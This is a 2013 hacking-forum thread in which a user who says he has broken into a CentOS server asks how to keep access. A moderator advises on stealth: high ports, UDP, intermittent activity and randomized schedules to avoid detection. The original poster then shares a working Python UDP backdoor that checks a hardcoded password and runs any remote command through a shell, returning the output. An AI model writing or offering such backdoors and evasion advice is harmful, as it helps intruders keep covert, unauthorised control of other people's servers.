Author Topic: What's a good backdoor for CentOs??  (Read 2387 times)

0 Members and 1 Guest are viewing this topic.

Offline DeXtreme

  • Peasant
  • *
  • Posts: 95
  • Cookies: 8
  • I was there and you never knew.
    • View Profile
    • My Designs
What's a good backdoor for CentOs??
« on: April 27, 2013, 04:31:19 pm »
I managed to ssh my way into a server running CentOs and now i need a good backdoor to maintain access.I tried netcat but the -e option is disabled on redhat distributions.So what do you guys recommend??

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: What's a good backdoor for CentOs??
« Reply #1 on: April 27, 2013, 04:37:53 pm »
Get some any C backdoor.
Python socks whatever.
Program your way out.
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: What's a good backdoor for CentOs??
« Reply #2 on: April 27, 2013, 04:54:17 pm »
CentOS is linux, so any linux backdoor would work in this case.

Offline DeXtreme

  • Peasant
  • *
  • Posts: 95
  • Cookies: 8
  • I was there and you never knew.
    • View Profile
    • My Designs
Re: What's a good backdoor for CentOs??
« Reply #3 on: April 27, 2013, 07:20:13 pm »
 
CentOS is linux, so any linux backdoor would work in this case.

Then i guess i'll take proxx's advice and write my own script(python)..Thanks y'all ;D

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: What's a good backdoor for CentOs??
« Reply #4 on: April 27, 2013, 10:34:17 pm »
Just make sure you use a port high up in the range, dont use raw sockets, at least dont when you dont have the privs.
Use UDP , make sure its not constantly running, use intervals , say every 5 minutes.
Only make it active during certain hours or at "random" according to a algo known at both sides.
Do I need to say more :)

I have a totally sick idea for doing this but I want to code it myself first, when there is time.
« Last Edit: April 27, 2013, 10:35:24 pm by proxx »
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline Ragehottie

  • Knight
  • **
  • Posts: 313
  • Cookies: -9
  • Hack to learn, not learn to hack.
    • View Profile
Re: What's a good backdoor for CentOs??
« Reply #5 on: April 28, 2013, 01:30:09 am »
Just make sure you use a port high up in the range, dont use raw sockets, at least dont when you dont have the privs.
Use UDP , make sure its not constantly running, use intervals , say every 5 minutes.
Only make it active during certain hours or at "random" according to a algo known at both sides.
Do I need to say more :)

I have a totally sick idea for doing this but I want to code it myself first, when there is time.


Would udp work? I mean yes it could send to the controlling computer, but could the udp packet get to the controlled computer without forwarding the ports?
Blog: rexmckinnon.tumblr.com

Offline DeXtreme

  • Peasant
  • *
  • Posts: 95
  • Cookies: 8
  • I was there and you never knew.
    • View Profile
    • My Designs
Re: What's a good backdoor for CentOs??
« Reply #6 on: April 30, 2013, 04:47:50 pm »
So this is my finished and WORKING backdoor(first time i ever programmed something like this). Learnt  a lot of new stuff working on this.Thanks y'all..check it out ;D

Code: [Select]
import socket
import subprocess
import time
authed=False
masterip=""
masterport=5051
sock=""

def link():
    global sock
    sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    sock.settimeout(30.0)
    sock.bind((masterip,masterport))

def sleeplink():
    global sock
    sock.close()
    time.sleep(30)
    link()
   
link()

while True:
    while authed==False:
        try:
            data,addr=sock.recvfrom(1024)
            if data=="passwordhere":
                authed=True
                sock.sendto("Authenticated",addr)
                sock.settimeout(300.0)
            else:
                sock.sendto("Not Supported",addr)
        except:
            sleeplink()
            pass
    try:
        data,addrx=sock.recvfrom(1024)
        if addrx==addr:
            cmdx=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
            (out,err)=cmdx.communicate()
            cmdx.wait()
            sock.sendto(out,addrx)
    except:
        sock.sendto("Connection Timeout",addr)
        sock.settimeout(10.0)
        authed=False



Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: What's a good backdoor for CentOs??
« Reply #7 on: May 01, 2013, 07:06:14 am »
+1 for you.
For showing good attitude.

Ill look into it later if you dont mind, short on time.



Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline DeXtreme

  • Peasant
  • *
  • Posts: 95
  • Cookies: 8
  • I was there and you never knew.
    • View Profile
    • My Designs
Re: What's a good backdoor for CentOs??
« Reply #8 on: May 01, 2013, 01:44:49 pm »
Thanks again :D